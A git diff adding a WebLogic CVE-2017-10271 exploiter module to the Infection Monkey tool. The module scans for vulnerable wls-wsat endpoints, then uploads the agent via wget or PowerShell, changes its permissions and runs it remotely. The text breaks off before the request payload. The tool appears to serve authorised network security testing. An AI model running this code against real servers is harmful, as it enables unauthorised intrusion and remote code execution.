diff --git a/infection_monkey/config.py b/infection_monkey/config.py
index 818bc75a0..b5df92f55 100644
--- a/infection_monkey/config.py
+++ b/infection_monkey/config.py
@@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
- SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
+ SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
- ElasticGroovyExploiter, Struts2Exploiter # multi
+ ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
]
# how many victims to look for in a single scan iteration
@@ -191,7 +191,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
+ 8008, 7001 # HTTP alternate
]
tcp_target_ports = [22,
2222,
diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf
index 3c33d975a..1d6d4f0e9 100644
--- a/infection_monkey/example.conf
+++ b/infection_monkey/example.conf
@@ -37,7 +37,8 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
- "Struts2Exploiter"
+ "Struts2Exploiter",
+ "WebLogicExploiter"
],
"finger_classes": [
"SSHFinger",
@@ -87,7 +88,8 @@
443,
3306,
8008,
- 9200
+ 9200,
+ 7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,
diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py
index f2d5d0c5b..346f6276b 100644
--- a/infection_monkey/exploit/__init__.py
+++ b/infection_monkey/exploit/__init__.py
@@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
+from weblogic import WebLogicExploiter
diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py
new file mode 100644
index 000000000..f4f034132
--- /dev/null
+++ b/infection_monkey/exploit/weblogic.py
@@ -0,0 +1,203 @@
+# Exploit based of:
+# Kevin Kirsche (d3c3pt10n)
+# https://github.com/kkirsche/CVE-2017-10271
+# and
+# Luffin from Github
+# https://github.com/Luffin/CVE-2017-10271
+# CVE: CVE-2017-10271
+
+from requests import post, exceptions
+from web_rce import WebRCE
+from exploit.tools import get_free_tcp_port, get_interface_to_target
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD
+
+import threading
+import logging
+import copy
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for response
+DOWNLOAD_TIMEOUT = 4
+# How long to wait for a request to go to vuln machine and then to our server from there
+REQUEST_TIMEOUT = 2
+# How long to wait for response in exploitation
+EXECUTION_TIMEOUT = 15
+# Server might get response faster than it starts listening to it, we need a lock
+LOCK = threading.Lock()
+URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
+# Malicious request's headers:
+HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ }
+
+
+class WebLogicExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+
+ def __init__(self, host):
+ super(WebLogicExploiter, self).__init__(host)
+
+ def exploit_host(self):
+ # Get open ports
+ ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"])
+ if not ports:
+ return False
+ # Get urls to try to exploit
+ urls = WebRCE.build_potential_urls(self.host, ports, URLS)
+
+ exploiter = self.exploit
+
+ # Checking takes a lot of time, so we check until we get exploitable url and stop
+ vulnerable_urls = []
+ for url in urls:
+ # Get full URL
+ if self.test_exploit(url):
+ vulnerable_urls.append(url)
+ break
+ self._exploit_info['vulnerable_urls'] = vulnerable_urls
+ if not vulnerable_urls:
+ return False
+
+ # Somehow we can't save files outside server's directory
+ config = copy.deepcopy(self._config)
+ config.dropper_target_path_win_32 = 'monkey-32.exe'
+ config.dropper_target_path_win_64 = 'monkey-64.exe'
+ config.dropper_target_path_linux = './monkey.sh'
+
+ data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0],
+ {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED,
+ 'linux': WGET_HTTP_UPLOAD})
+
+ # We can't use 'if not' because response may be ''
+ if not data or data['response'] == False:
+ return False
+
+ if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
+ return False
+
+ if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False:
+ return False
+
+ return True
+
+ def exploit(self, url, command):
+ empty_payload = '''